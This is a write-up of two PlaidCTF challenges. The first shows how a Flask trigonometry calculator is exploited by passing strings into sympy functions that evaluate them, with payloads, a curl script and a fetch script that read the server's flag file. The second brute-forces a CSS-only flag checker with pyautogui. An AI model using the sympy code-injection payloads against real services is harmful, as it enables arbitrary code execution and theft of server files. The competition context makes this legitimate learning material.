Join as team M35 and play PlaidCTF last weekend, and we get 105th!
Here are some of my writeups:
Challenges
Terrific Trigonometry Tutor
Description:
Attachment: ttt.0317e9c2446d934d03676d0d506d7a77bbef1f2b7f500556cd29c2af16caae8d.tgz
Link: http://ttt.chal.pwni.ng:1337/
Open the website, it looks like a calculator web app:
After checking the source, found out it is using Flask in python, trig.py
source code:
from flask import Flask, url_for, render_template, request
from ast import literal_eval
import sympy
app = Flask(__name__)
@app.route("/")
def index():
return render_template('index.html')
regular_operators = {
'add': lambda x, y: x + y,
'sub': lambda x, y: x - y,
'mul': lambda x, y: x * y,
'div': lambda x, y: x / y,
'pow': lambda x, y: x ** y,
}
trig_operators = {
'sin': sympy.sin,
'cos': sympy.cos,
'tan': sympy.tan,
'cot': sympy.cot,
'sec': sympy.sec,
'csc': sympy.csc,
'asin': sympy.asin,
'acos': sympy.acos,
'atan': sympy.atan,
'acot': sympy.acot,
'asec': sympy.asec,
'acsc': sympy.acsc,
}
def postfix_calculator(inp):
stack = []
for (ty, val) in inp:
if ty == 'num':
stack.append(literal_eval(val))
elif ty == 'var':
stack.append(sympy.Symbol(val))
elif ty == 'op':
if val in regular_operators:
a = stack.pop()
b = stack.pop()
stack.append(regular_operators[val](b, a))
elif val in trig_operators:
a = stack.pop()
stack.append(trig_operators[val](a))
else:
raise ValueError("Invalid operator")
return stack
@app.post("/compute")
def compute():
try:
expr = postfix_calculator(request.get_json())
if len(expr) == 1:
return sympy.latex(expr[0]) + r'\\=\\' + sympy.latex(sympy.simplify(expr[0]))
else:
return r'\quad{}'.join(map(sympy.latex, expr)) + r'\\=\\\cdots'
except Exception as e:
return "invalid expression"
The website only got two endpoints, /
and /compute
Viewing the Dockerfile
, we also know that the flag is stored at /app/flag
FROM ubuntu:22.04
# Grab dependencies
RUN apt-get update \
&& DEBIAN_FRONTEND=noninteractive apt-get install -y \
python3 \
python3-pip \
curl
RUN pip install flask gunicorn sympy
# Grab things from the dir, and set up a fake flag if there isn't one already
COPY . /app
WORKDIR /app
RUN if [ -f flag ]; then true; else echo FAKEFLAG > flag; fi
# Run the server
CMD gunicorn --workers 4 --reuse-port --bind '0.0.0.0:1337' 'trig:app'
That means we need to find a bug that will lead to RCE (remote code execution) or arbitrary file read
Find the bug
Firstly notice the literal_eval
in the postfix_calculator
function, but cleary it is secure because the python version is the latest version
After some testing on my local machine, notice something interesting when testing on the sympy.sin
function
When pass in string as parameter, it thrown the following error:
>>> sympy.sin("'a'")
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "/home/hong/.local/lib/python3.8/site-packages/sympy/core/cache.py", line 93, in wrapper
retval = cfunc(*args, **kwargs)
File "/home/hong/.local/lib/python3.8/site-packages/sympy/core/function.py", line 442, in __new__
result = super(Function, cls).__new__(cls, *args, **options)
File "/home/hong/.local/lib/python3.8/site-packages/sympy/core/cache.py", line 93, in wrapper
retval = cfunc(*args, **kwargs)
File "/home/hong/.local/lib/python3.8/site-packages/sympy/core/function.py", line 251, in __new__
evaluated = cls.eval(*args)
File "/home/hong/.local/lib/python3.8/site-packages/sympy/functions/elementary/trigonometric.py", line 260, in eval
if arg.is_Number:
AttributeError: 'str' object has no attribute 'is_Number'
Notice it pass the parameter into eval
? Means we can evaluate any python code as we want!
Then I try use the python sandbox payload from hacktricks, and found that it is evaluating our parameter!
>>> sympy.sin("().__class__.__bases__[0].__subclasses__()[40]")
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "/home/hong/.local/lib/python3.8/site-packages/sympy/core/cache.py", line 93, in wrapper
retval = cfunc(*args, **kwargs)
File "/home/hong/.local/lib/python3.8/site-packages/sympy/core/function.py", line 442, in __new__
result = super(Function, cls).__new__(cls, *args, **options)
File "/home/hong/.local/lib/python3.8/site-packages/sympy/core/cache.py", line 93, in wrapper
retval = cfunc(*args, **kwargs)
File "/home/hong/.local/lib/python3.8/site-packages/sympy/core/function.py", line 251, in __new__
evaluated = cls.eval(*args)
File "/home/hong/.local/lib/python3.8/site-packages/sympy/functions/elementary/trigonometric.py", line 260, in eval
if arg.is_Number:
AttributeError: type object 'mappingproxy' has no attribute 'is_Number'
We can request something like this:
[["num","'code'"],["op","sin"]]
Then it will run sympy.sin('code')
, because the parameter is evaluate as a string and pass into the sin
function
Exploit
Notice it will treat all function as sympy symbol, example if I put x(1+1)
it will output x
as a sympy function
>>> sympy.sin("x(1+1)")
sin(x(2))
Then I try it inside the docker container, we can get the value of open("flag","r").read()
by using this method:
>>> sympy.sin('x(open("flag","r").read())')
sin(x(FAKEFLAG))
But notice it not working on the actual server:
I guessing some character like {}_
cause some error… Then I change the plan, leak the character in ASCII 1 by 1, like this:
a(open("flag","rb").read()[0])+b(open("flag","rb").read()[1])+c(open("flag","rb").read()[2])...
Tested on the actual server:
As you can see the response contain the flag character in ASCII: 112,99,116,102
which is the flag format pctf
Then I quickly wrote a python script to generate the payload to leak the first 26 character:
import string
for i in range(26):
print(f"""{string.ascii_lowercase[i]}(open('flag','rb').read()[{i}])""",end='+')
Output:
a(open('flag','rb').read()[0])+b(open('flag','rb').read()[1])+c(open('flag','rb').read()[2])+d(open('flag','rb').read()[3])+e(open('flag','rb').read()[4])+f(open('flag','rb').read()[5])+g(open('flag','rb').read()[6])+h(open('flag','rb').read()[7])+i(open('flag','rb').read()[8])+j(open('flag','rb').read()[9])+k(open('flag','rb').read()[10])+l(open('flag','rb').read()[11])+m(open('flag','rb').read()[12])+n(open('flag','rb').read()[13])+o(open('flag','rb').read()[14])+p(open('flag','rb').read()[15])+q(open('flag','rb').read()[16])+r(open('flag','rb').read()[17])+s(open('flag','rb').read()[18])+t(open('flag','rb').read()[19])+u(open('flag','rb').read()[20])+v(open('flag','rb').read()[21])+w(open('flag','rb').read()[22])+x(open('flag','rb').read()[23])+y(open('flag','rb').read()[24])+z(open('flag','rb').read()[25])+
Then save the server response in a file:
Then use regex to get the ASCII and print the flag:
import re
text = open("output",'r').read()
result = bytearray([int(r) for r in re.findall("left\(([0-9]+) ",text)])
print(result.decode())
# pctf{what_be_a_pirate_math
After that, continue with another 26 flag’s character:
for i in range(26):
print(f"""{string.ascii_lowercase[i]}(open('flag','rb').read()[{i+26}])""",end='+')
Output:
a(open('flag','rb').read()[26])+b(open('flag','rb').read()[27])+c(open('flag','rb').read()[28])+d(open('flag','rb').read()[29])+e(open('flag','rb').read()[30])+f(open('flag','rb').read()[31])+g(open('flag','rb').read()[32])+h(open('flag','rb').read()[33])+i(open('flag','rb').read()[34])+j(open('flag','rb').read()[35])+k(open('flag','rb').read()[36])+l(open('flag','rb').read()[37])+m(open('flag','rb').read()[38])+n(open('flag','rb').read()[39])+o(open('flag','rb').read()[40])+p(open('flag','rb').read()[41])+q(open('flag','rb').read()[42])+r(open('flag','rb').read()[43])+s(open('flag','rb').read()[44])+t(open('flag','rb').read()[45])+u(open('flag','rb').read()[46])+v(open('flag','rb').read()[47])+w(open('flag','rb').read()[48])+x(open('flag','rb').read()[49])+y(open('flag','rb').read()[50])+z(open('flag','rb').read()[51])+
Then do the same steps until the index reach 90 (flag is 91 characters long), save all the server responses and run the script:
text = open("output",'r').read()
result = bytearray([int(r) for r in re.findall("left\(([0-9]+) ",text)])
print(result.decode())
# pctf{what_be_a_pirate_math3maticians_favorite_food?_πzzarrrr___s9oolow2OOhchoh7xthi5Rae5}
And there is the flag!!
Alternative solution
After the competition ends, saw that it is possible to leak the flag in one payload in its discord channel:
[["num", "('repr(__import__(\\'builtins\\').open(\\'flag\\').read())',)"]]
#!/bin/bash
SERVER=http://127.0.0.1:31337/compute
if [ $# -gt 0 ]; then
SERVER=$1
fi
TEMPFILE=$(mktemp)
curl \
--silent \
--request POST \
--url "$SERVER" \
--header 'Content-Type: application/json' \
--data '[["num","\"'\''0x'\''+open('\''/app/flag'\'').read().encode().hex()\""]]' >"$TEMPFILE"
cut -d '=' -f 2 "$TEMPFILE" | tr -d '\' | python3 -c 'print(hex(int(input()))[2:])' | xxd -r -p
rm -f "$TEMPFILE"
This similar to my solution:
let flagBytes = [];
(async () => {
for (let i = 0; i < 100 && flagBytes[flagBytes.length - 1] != 125; i++) {
flagBytes.push(
(await
(await fetch("http://ttt.chal.pwni.ng:1337/compute", {
headers: {
"Content-Type": "application/json",
},
body: JSON.stringify([
["num", JSON.stringify(`Integer(open('/app/flag','rb').read()[${i}])`)],
["op", "sin"],
]),
method: "POST",
}))
.text())
.split("\\sin{\\left(")[1]
.split(" ")[0]
);
}
console.log(new TextDecoder().decode(new Uint8Array(flagBytes)));
})();
CSS
Description:
Attachment:
As you can see, we got a HTML file. Open it with browser, seems like we need to enter the flag to unlock it:
We can click up and down for each flag character
Investigate the html
After some investigation, notice there is no any javascript in the html only css. I also notice some svg image base64 encoded:
<div style="position:absolute;top:calc(20 * (-15px + min(
max(100% - 114px, -27 * (100% - 114px)), max(100% - 95px, -27 * (100% - 95px)), max(100% - 133px, -27 * (100% - 133px)), max(100% - 209px, -27 * (100% - 209px)), max(100% - 285px, -27 * (100% - 285px)), max(100% - 304px, -27 * (100% - 304px)), max(100% - 266px, -27 * (100% - 266px)), max(100% - 152px, -27 * (100% - 152px)), max(100% - 57px, -27 * (100% - 57px)), max(100% - 171px, -27 * (100% - 171px)), max(100% - 19px, -27 * (100% - 19px)), max(100% - 228px, -27 * (100% - 228px)), max(100% - 247px, -27 * (100% - 247px)), max(100% - 323px, -27 * (100% - 323px)), max(100% - 190px, -27 * (100% - 190px)), max(100% - 76px, -27 * (100% - 76px)), max(100% - 38px, -27 * (100% - 38px)), max(100% - 342px, -27 * (100% - 342px)), max(100% - 0px, -27 * (100% - 0px))
)));width:200px;height:540px;background:url('data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIyMDAiIGhlaWdodD0iNTQwIj48cGF0aCBmaWxsPSIjZmZmIiBkPSJNMCAwSDIwMFY1NDBIMFpNMiA2MlY3OEgxOThWNjJaIi8+PC9zdmc+');user-select:none;pointer-events:none">
Decrypt the svg change it to black color and view it:
As you can see, it looks like a column missing at the center? But I notice got 4 different svg in the div element (each div got 3 character)
So probably not indicate the position of the flag character
Then me and my teammates start to investigate how it validates the flag is correct
I hide other elements except for first 3 characters, then I change one svg to black and delete other 3 svg.
When I change the first character to n
something happend!
The svg moves and the missing column align perfectly with the correct column and it reveal the correct!
string, but clearly this is not the flag. The goal is clear now, we need to align all svg image missing column with the correct!
string.
But each character will affect the position of all SVG image, therefore to bruteforce we need to try 27^3=19683 combinations to get the correct 3 characters
Bruteforce
So how do we bruteforce, we need to click and check which combination will reveal the correct!
string
Therefore, we are using pyautogui
library which got the ability to auto click and check the screen color!
Exploit
First we use the script below to check the first button position and the correct!
string position:
while 1:
x, y = pyautogui.position()
print(x,y)
time.sleep(1)
Then paste the position in the following script:
# default is 0.01 is abit slow, cannot change too fast else it cannot read the correct color
pyautogui.PAUSE = 0.05
first_x,first_y = (1666, 104)
second_x,second_y = (first_x+43,first_y)
third_x,third_y = (first_x+43+43,first_y)
target_x,target_y = (159, 165)
time.sleep(3)
for _ in range(26):
for s in range(27):
for _ in range(26):
if s % 2 == 0:
# third char up
pyautogui.click(third_x,third_y)
else:
# third char down
pyautogui.click(third_x,third_y+62)
# Check the color is lime
if pyautogui.pixel(target_x,target_y) == (0 ,255, 0):
print("Found!")
sys.exit()
# print(pyautogui.pixel(211, 184))
# second char up
pyautogui.click(second_x,second_y)
# first char up
pyautogui.click(first_x,first_y)
# reset second char
for _ in range(26):
pyautogui.click(second_x,second_y+62)
# reset third char
for _ in range(26):
pyautogui.click(third_x,third_y+62)
Then we need delete all div elements except the div we want to bruteforce:
Run the python script at powershell, and it took around 15 minutes to finish
Then my teammates started to guess the flag and bruteforcing, then eventually we got most of the character right:
Finally, one of my teammate guess the last part correctly! By using ChatGPT lol:
Flag
PCTF{youre_lucky_this_wasnt_a_threesat_instance}